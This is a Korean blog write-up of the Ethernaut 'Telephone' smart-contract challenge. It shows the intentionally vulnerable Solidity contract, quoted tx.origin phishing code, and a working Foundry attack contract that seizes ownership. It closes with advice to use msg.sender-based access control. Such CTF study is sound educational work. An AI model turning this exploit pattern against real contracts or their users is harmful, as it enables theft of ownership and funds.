c0mpos3r

[Ethernaut] 04. Telephone WriteUp 본문

Web3/Hacking

[Ethernaut] 04. Telephone WriteUp

음대생 2025. 8. 24. 23:49

1. 문제 분석

While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks, such as this.
An example of a possible attack is outlined below.
Use tx.origin to determine whose tokens to transfer, e.g.
function transfer(address _to, uint _value) { tokens[tx.origin] -= _value; tokens[_to] += _value; }
Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.
function () payable { token.transfer(attackerAddress, 10000); }
In this scenario, tx.origin will be the victim's address (while msg.sender will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.


1. 이 예제는 간단 할 수 있지만, 혼란스러운 TX.Origin과 MSG.Sender는 이와 같은 피싱 스타일의 공격으로 이어질 수 있습니다. 가능한 공격의 예는 아래에 요약되어 있습니다. tx.origin을 사용하여 누가 전달할 토큰을 결정하십시오

2. 공격자는 토큰 계약의 양도 기능을 호출하는 악성 계약으로 자금을 보내도록 피해자가됩니다.

3. 이 시나리오에서 TX.origin은 피해자의 주소가 될 것입니다 (MSG.Sender는 악의적 인 계약의 주소가 될 것입니다).

1-1. code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

1-2. Contract 분석

상태 변수

  • address owner public : 소유자 주소 보관

주요 함수

  • constructor()owner = msg.sender : 배포자 소유
  • changeOwner(address _owner) publicif (tx.origin != msg.sender) owner = _owner : 직접 호출 차단 의도

2. Solving

접근제어에 tx.origin을 사용해 피싱/경유 호출에 취약,

onlyOwner명시적 권한 검증이 없어 임의 주소로 소유권 변경 가능

  • Attack Contract 배포
  • 공격자 EOA로 pwn(attackerEOA) 호출(이때 tx.origin=EOA, msg.sender=Attack contract)
  • 분기 만족으로 owner = attackerEOA 설정 완료
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {Telephone} from "../src/Telephone.sol";

contract Attack { 
    address probAddr = 0xd937509354cD3fA005c48bB8a1b0f1ea5C2EB9A3;
    
    function attack(address addr) public {
        Telephone telePhoneContract = Telephone(probAddr);
        telePhoneContract.changeOwner(addr);

        console.log("msg.sender : %s", msg.sender);
        console.log("tx.origin : %s", tx.origin);
        console.log("Owner Addr : %s", telePhoneContract.owner());
    }
    
}

contract CounterScript is Script {

    function run() public {
        vm.startBroadcast();

        Attack a = new Attack();
        a.attack(msg.sender);
    
        vm.stopBroadcast();
    }
}

3. 결론

권한 검증에 tx.origin을 사용하면 Malicious Contract 경유 호출로 손쉽게 우회되므로,

항상 msg.sender 기반의 명시적 접근제어(onlyOwner, 역할 기반 권한)를 사용해야 한다.